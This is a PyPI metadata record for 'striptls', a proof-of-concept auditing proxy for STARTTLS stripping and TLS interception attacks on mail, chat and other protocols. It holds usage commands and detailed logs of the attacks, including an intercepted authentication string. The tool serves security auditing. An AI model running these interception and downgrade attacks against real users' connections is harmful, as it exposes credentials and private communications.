{ "info": { "author": "tintinweb", "author_email": "tintinweb@oststrom.com", "bugtrack_url": null, "classifiers": [], "description": ".. figure:: http://i68.tinypic.com/2iqz7t2.png\n\nstriptls - auditing proxy\n=========================\n\npoc implementation of STARTTLS stripping attacks\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nA generic tcp proxy implementation and audit tool to perform protocol\nindependent ``ssl/tls`` interception and ``STARTTLS`` stripping attacks\non ``SMTP``, ``POP3``, ``IMAP``, ``FTP``, ``NNTP``, ``XMPP``, ``ACAP``\nand ``IRC``.\n\nRequires:\n \n\n- Python >= 2.7.9 (``SSLContext``)\n- (optional for tls interception) Certificate and PrivateKey in PEM\n format (single file) ``--key=server.pem``\n\nVectors\n^^^^^^^\n\n- GENERIC\n- Intercept - protocol independent ssl/tls interception. peeks for TLS\n Handshake, converts socket to tls (tls-to-tls proxy)\n- InboundIntercept - protocol independent ssl/tls interception for the\n inbound channel only (tls-to-plain proxy)\n- SMTP\n- SMTP.StripFromCapabilities - server response capability patch\n- SMTP.StripWithInvalidResponseCode - client STARTTLS stripping,\n invalid response code\n- SMTP.UntrustedIntercept - STARTTLS interception (client and server\n talking ssl) (requires server.pem in pwd)\n- SMTP.StripWithTemporaryError\n- SMTP.StripWithError\n- SMTP.ProtocolDowngradeStripExtendedMode\n- SMTP.InjectCommand\n- SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)\n- POP3\n- POP3.StripFromCapabilities\n- POP3.StripWithError\n- POP3.UntrustedIntercept\n- IMAP\n- IMAP.StripFromCapabilities\n- IMAP.StripWithError\n- IMAP.UntrustedIntercept\n- IMAP.ProtocolDowngradeToV2\n- FTP\n- FTP.StripFromCapabilities\n- FTP.StripWithError\n- FTP.UntrustedIntercept\n- NNTP\n- NNTP.StripFromCapabilities\n- NNTP.StripWithError\n- NNTP.UntrustedIntercept\n- XMPP\n- XMPP.StripFromCapabilities\n- XMPP.StripInboundTLS\n- XMPP.UntrustedIntercept\n- ACAP (untested)\n- ACAP.StripFromCapabilities\n- ACAP.StripWithError\n- ACAP.UntrustedIntercept\n- IRC\n- IRC.StripFromCapabilities\n- IRC.StripWithError\n- IRC.UntrustedIntercept\n- IRC.StripWithNotRegistered\n- IRC.StripCAPWithNotregistered\n- IRC.StripWithSilentDrop\n\nResults:\n\n::\n\n - [*] client: 127.0.0.1\n - [Vulnerable!] \n - [Vulnerable!] \n - [ ] \n - [Vulnerable!] \n - [*] client: 192.168.139.1\n - [Vulnerable!] \n - [Vulnerable!] \n - [Vulnerable!] \n\nUsage\n-----\n\n::\n\n #> python -m striptls --help # from pip/setup.py\n #> python striptls --help # from source / root folder\n Usage: striptls.py [options]\n\n example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25\n\n\n Options:\n -h, --help show this help message and exit\n -q, --quiet be quiet [default: True]\n -l LISTEN, --listen=LISTEN\n listen ip:port [default: 0.0.0.0:]\n -r REMOTE, --remote=REMOTE\n remote target ip:port to forward sessions to\n -k KEY, --key=KEY SSL Certificate and Private key file to use, PEM\n format assumed [default: server.pem]\n -s, --generic-ssl-intercept\n dynamically intercept SSL/TLS\n -b BUFFER_SIZE, --bufsiz=BUFFER_SIZE\n -x VECTORS, --vectors=VECTORS\n Comma separated list of vectors. Use 'ALL' (default)\n to select all vectors, 'NONE' for tcp/ssl proxy mode.\n Available vectors: ACAP.StripFromCapabilities,\n ACAP.StripWithError, ACAP.UntrustedIntercept,\n FTP.StripFromCapabilities, FTP.StripWithError,\n FTP.UntrustedIntercept, GENERIC.Intercept,\n IMAP.ProtocolDowngradeToV2,\n IMAP.StripFromCapabilities, IMAP.StripWithError,\n IMAP.UntrustedIntercept,\n IRC.StripCAPWithNotRegistered,\n IRC.StripFromCapabilities, IRC.StripWithError,\n IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,\n IRC.UntrustedIntercept, NNTP.StripFromCapabilities,\n NNTP.StripWithError, NNTP.UntrustedIntercept,\n POP3.StripFromCapabilities, POP3.StripWithError,\n POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,\n SMTP.InjectCommand,\n SMTP.ProtocolDowngradeStripExtendedMode,\n SMTP.StripFromCapabilities, SMTP.StripWithError,\n SMTP.StripWithInvalidResponseCode,\n SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,\n XMPP.StripFromCapabilities, XMPP.StripInboundTLS,\n XMPP.UntrustedIntercept [default: ALL]\n\nInstall (optional)\n------------------\n\nfrom pip\n\n::\n\n #> pip install striptls\n\nfrom source\n\n::\n\n #> setup.py install\n\nExamples\n--------\n\n::\n\n inbound outbound\n [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]\n smtp-client striptls remote/target\n\nlocal ``smtp-client`` -> ``localhost:8825`` (proxy) ->\n``mail.gmx.net:25``\n\nGeneric SSL/TLS Interception\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n``--generic-ssl-intercept`` is a global switch to enable generic ssl/tls\nhandshake detection and session conversion. Can be combined with any\nmangle/vector.\n\n``GENERIC.Intercept`` is a mangle/vector implementation of the ssl/tls\nhandshake detect and convert feature.\n\n::\n\n # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept\n - INFO - ready.\n - DEBUG - * added vector (port:None , proto: GENERIC): \n - INFO - ])}>\n - INFO - client ('127.0.0.1', 8228) has connected\n - INFO - connecting to target ('mail.gmx.com', 465)\n - DEBUG - \n - INFO - ProtocolDetect: SSL/TLS version: TLS_1_0\n - INFO - SSL Handshake detected - performing ssl/tls conversion\n - DEBUG - [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)\n - DEBUG - [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - [client] => [server] 'hi\\r\\n'\n - DEBUG - [client] <= [server] '500 Syntax error, command unrecognized\\r\\n'\n\n # python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept\n - INFO - ready.\n - INFO - \n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 8290) has connected\n - INFO - connecting to target ('mail.gmx.com', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - [client] => [server] 'EHLO openssl.client.net\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server] '220 OK\\r\\n'\n - INFO - ProtocolDetect: SSL/TLS version: TLS_1_0\n - INFO - SSL Handshake detected - performing ssl/tls conversion\n - DEBUG - [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)\n - DEBUG - [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)\n - DEBUG - [client] => [server] 'EHLO A\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 69920427\\r\\n250AUTH LOGIN PLAIN\\r\\n'\n\nAudit Mode\n~~~~~~~~~~\n\niterates all protocol specific cases on a per client basis and keeps\ntrack of clients violating the starttls protocol. Ctrl+C to abort audit\nand print results.\n\n::\n\n #> python striptls --listen localhost:8825 --remote=mail.gmx.net:25\n - INFO - ready.\n - DEBUG - * added test (port:21 , proto: FTP): \n - DEBUG - * added test (port:21 , proto: FTP): \n - DEBUG - * added test (port:21 , proto: FTP): \n - DEBUG - * added test (port:143 , proto: IMAP): \n - DEBUG - * added test (port:143 , proto: IMAP): \n - DEBUG - * added test (port:143 , proto: IMAP): \n - DEBUG - * added test (port:119 , proto: NNTP): \n - DEBUG - * added test (port:119 , proto: NNTP): \n - DEBUG - * added test (port:119 , proto: NNTP): \n - DEBUG - * added test (port:110 , proto: POP3): \n - DEBUG - * added test (port:110 , proto: POP3): \n - DEBUG - * added test (port:25 , proto: SMTP): \n - DEBUG - * added test (port:25 , proto: SMTP): \n - DEBUG - * added test (port:25 , proto: SMTP): \n - DEBUG - * added test (port:25 , proto: SMTP): \n - DEBUG - * added test (port:25 , proto: SMTP): \n - DEBUG - * added test (port:5222 , proto: XMPP): \n - INFO - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 28902) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - \n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250-STARTTLS\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 28905) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - \n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '454 TLS not available due to temporary reason\\r\\n'\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 28908) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - \n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250 AUTH LOGIN PLAIN\\r\\n'\n - WARNING - terminated.\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 28911) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - \n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '501 Syntax error\\r\\n'\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n - WARNING - Ctrl C - Stopping server\n - INFO - -- audit results --\n - INFO - [*] client: 127.0.0.1\n - INFO - [Vulnerable!] \n - INFO - [Vulnerable!] \n - INFO - [ ] \n - INFO - [Vulnerable!] \n\nStrip STARTTLS from server capabilities\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n::\n\n #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities\n - INFO - ready.\n - INFO - ])}>\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 20070) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250 AUTH LOGIN PLAIN\\r\\n'\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n\nInvalid STARTTLS response code\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n::\n\n #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode\n - INFO - ready.\n - INFO - ])}>\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 20061) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250-STARTTLS\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n\nUntrusted SSL Intercept (for clients not checking server cert trust)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n::\n\n #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept\n - INFO - ready.\n - INFO - ])}>\n - DEBUG - - protocol detected (target port)\n - INFO - client ('127.0.0.1', 20238) has connected\n - INFO - connecting to target ('mail.gmx.net', 25)\n - DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\\r\\n'\n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 31457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] <= [server][mangled] '220 Go ahead\\r\\n'\n - DEBUG - [client] <= [server][mangled] waiting for inbound SSL Handshake\n - DEBUG - [client] => [server] 'STARTTLS\\r\\n'\n - DEBUG - [client] => [server][mangled] performing outbound SSL handshake\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\\r\\n250-SIZE 69920427\\r\\n250 AUTH LOGIN PLAIN\\r\\n'\n - DEBUG - [client] => [server] 'mail FROM: size=10\\r\\n'\n - DEBUG - [client] <= [server] '530 Authentication required\\r\\n'\n - DEBUG - [client] => [server] 'rset\\r\\n'\n - DEBUG - [client] <= [server] '250 OK\\r\\n'\n - WARNING - terminated.\n\nXMPP Audit Trail\n~~~~~~~~~~~~~~~~\n\nExample: Pidgin with optional transport security.\n\nXMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n::\n\n python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem\n - INFO - ready.\n ...\n - DEBUG - - protocol detected (target port)\n ...\n - INFO - client ('192.168.139.1', 56888) has connected\n - INFO - connecting to target ('jabber.ccc.de', 5222)\n - DEBUG - [client] => [server] \"\"\n - DEBUG - \n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] => [server][mangled] \"\"\n - DEBUG - [client] => [server][mangled] performing outbound SSL handshake\n - DEBUG - [client] <= [server][mangled] \"\"\n - DEBUG - [client] => [server] \"tin\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server] ''\n - WARNING - terminated.\n\nXMPP.StripFromCapabilities - strip starttls server annoucement\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n::\n\n - DEBUG - - protocol detected (target port)\n - INFO - client ('192.168.139.1', 56890) has connected\n - INFO - connecting to target ('jabber.ccc.de', 5222)\n - DEBUG - [client] => [server] \"\"\n - DEBUG - \n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server][mangled] \"\"\n - DEBUG - [client] => [server] \"tin\"\n - DEBUG - [client] <= [server] \"Use of STARTTLS required\"\n - WARNING - terminated.\n\nXMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n::\n\n - DEBUG - - protocol detected (target port)\n - INFO - client ('192.168.139.1', 56892) has connected\n - INFO - connecting to target ('jabber.ccc.de', 5222)\n - DEBUG - [client] => [server] \"\"\n - DEBUG - \n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] => [server] \"\"\n - DEBUG - [client] <= [server][mangled] \"\"\n - DEBUG - [client] <= [server][mangled] waiting for inbound SSL Handshake\n - DEBUG - [client] => [server] \"\"\n - DEBUG - [client] => [server][mangled] performing outbound SSL handshake\n - DEBUG - [client] => [server][mangled] None\n - DEBUG - [client] => [server] '<'\n - DEBUG - [client] => [server] \"stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] <= [server] \"PLAINX-OAUTH2SCRAM-SHA-1\"\n - DEBUG - [client] => [server] '<'\n - DEBUG - [client] => [server] \"auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==\"\n - DEBUG - [client] <= [server] \"\"\n - DEBUG - [client] => [server] '<'\n - DEBUG - [client] => [server] '/stream:stream>'\n - WARNING - terminated.\n\nXMPP Audit results\n^^^^^^^^^^^^^^^^^^\n\n::\n\n - WARNING - Ctrl C - Stopping server\n - INFO - -- audit results --\n - INFO - [*] client: 192.168.139.1\n - INFO - [Vulnerable!] \n - INFO - [Vulnerable!] \n - INFO - [Vulnerable!] \n\n", "description_content_type": null, "docs_url": null, "download_url": "https://github.com/tintinweb/striptls/tarball/v0.5", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/tintinweb/striptls/", "keywords": "striptls", "license": "GPLv2", "maintainer": "", "maintainer_email": "", "name": "striptls", "package_url": "https://pypi.org/project/striptls/", "platform": "", "project_url": "https://pypi.org/project/striptls/", "project_urls": { "Download": "https://github.com/tintinweb/striptls/tarball/v0.5", "Homepage": "https://github.com/tintinweb/striptls/" }, "release_url": "https://pypi.org/project/striptls/0.5/", "requires_dist": null, "requires_python": "", "summary": "poc implementation of STARTTLS stripping attacks", "version": "0.5" }, "last_serial": 3037952, "releases": { "0.1": [ { "comment_text": "", "digests": { "md5": "efad4291dee66c1a3757aad374230779", "sha256": "27891c84bd5e7ea08eb98d8a9bb954d715d2a52a10ce5f89e6ef7055d9dce787" }, "downloads": -1, "filename": "striptls-0.1.tar.gz", "has_sig": false, "md5_digest": "efad4291dee66c1a3757aad374230779", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 12399, "upload_time": "2016-02-02T21:59:16", "url": "https://files.pythonhosted.org/packages/37/9f/12f9de3b585552c14b792e867e632b1c1575b0db40b934d64f70742b2bd8/striptls-0.1.tar.gz" } ], "0.2": [ { "comment_text": "", "digests": { "md5": "a0beb2aad857af6be3a9f09d9a690e5c", "sha256": "a220098d398067f583b35d1d91a729c3ffa7af043f329fff0f97c3d52448631c" }, "downloads": -1, "filename": "striptls-0.2.tar.gz", "has_sig": false, "md5_digest": "a0beb2aad857af6be3a9f09d9a690e5c", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 20253, "upload_time": "2016-02-10T21:39:59", "url": "https://files.pythonhosted.org/packages/35/9f/ade542418ca26e63e1f0425707986a75ecc21030c992cc2bee17b0909448/striptls-0.2.tar.gz" } ], "0.3": [ { "comment_text": "", "digests": { "md5": "9178ee5709cd974acce3e0cd89f9285a", "sha256": "f5ef8ec354d6421379394fe68407344376da7a7df5a0ef385ee77dd7dd72c115" }, "downloads": -1, "filename": "striptls-0.3.tar.gz", "has_sig": false, "md5_digest": "9178ee5709cd974acce3e0cd89f9285a", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 23729, "upload_time": "2016-03-20T19:28:47", "url": "https://files.pythonhosted.org/packages/ab/2d/33eb85d77813d3463452852cd08ce0b87d119e4bcc788505f4e3f84da280/striptls-0.3.tar.gz" } ], "0.4": [ { "comment_text": "", "digests": { "md5": "a65816b42f005603c071de63108fed17", "sha256": "261719691e418d105002f2cfd208e0514d45cab97ab6aa891432141426c9295d" }, "downloads": -1, "filename": "striptls-0.4.tar.gz", "has_sig": false, "md5_digest": "a65816b42f005603c071de63108fed17", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 25676, "upload_time": "2016-05-15T21:08:23", "url": "https://files.pythonhosted.org/packages/2d/cc/13f5b9481e66aad603741cf1789c8ccc5dca1bcd527a3f9f494d27f3e1c5/striptls-0.4.tar.gz" } ], "0.5": [ { "comment_text": "", "digests": { "md5": "a8ec8d65d7d83ecb81ffc6eef15c242f", "sha256": "22c1090db58e3188f844e30be2afa404cbc7f1c2c8bc13a2a03092c2071ce3fd" }, "downloads": -1, "filename": "striptls-0.5.tar.gz", "has_sig": false, "md5_digest": "a8ec8d65d7d83ecb81ffc6eef15c242f", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26495, "upload_time": "2017-07-20T22:01:35", "url": "https://files.pythonhosted.org/packages/04/65/5853870ee3196b993ec016605cf17ed1506104f31dd2765133cbe0637b60/striptls-0.5.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "a8ec8d65d7d83ecb81ffc6eef15c242f", "sha256": "22c1090db58e3188f844e30be2afa404cbc7f1c2c8bc13a2a03092c2071ce3fd" }, "downloads": -1, "filename": "striptls-0.5.tar.gz", "has_sig": false, "md5_digest": "a8ec8d65d7d83ecb81ffc6eef15c242f", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26495, "upload_time": "2017-07-20T22:01:35", "url": "https://files.pythonhosted.org/packages/04/65/5853870ee3196b993ec016605cf17ed1506104f31dd2765133cbe0637b60/striptls-0.5.tar.gz" } ] }